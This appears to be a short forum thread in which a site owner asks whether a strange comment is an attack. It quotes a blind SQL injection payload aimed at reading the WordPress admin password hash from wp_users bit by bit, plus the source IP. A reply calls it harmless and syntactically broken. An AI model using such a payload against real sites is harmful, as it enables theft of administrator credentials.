I got this code below, in a comment today. Is this some kind of hacking tactic????? let me know your inputs... ' AND 1=0) UNION SELECT 1 FROM wp_users WHERE user_login='admin' and substring(reverse(lpad(conv(substring(user_pass,1,1), 16, 2),4,'0')),1,1)='1' /* (IP: 124.217.227.127 , svservers.com)
Looks like someone trying to scare you, or a noob. The first ")" should cause the whole query to error out on bad syntax even if that section it did make it into the query.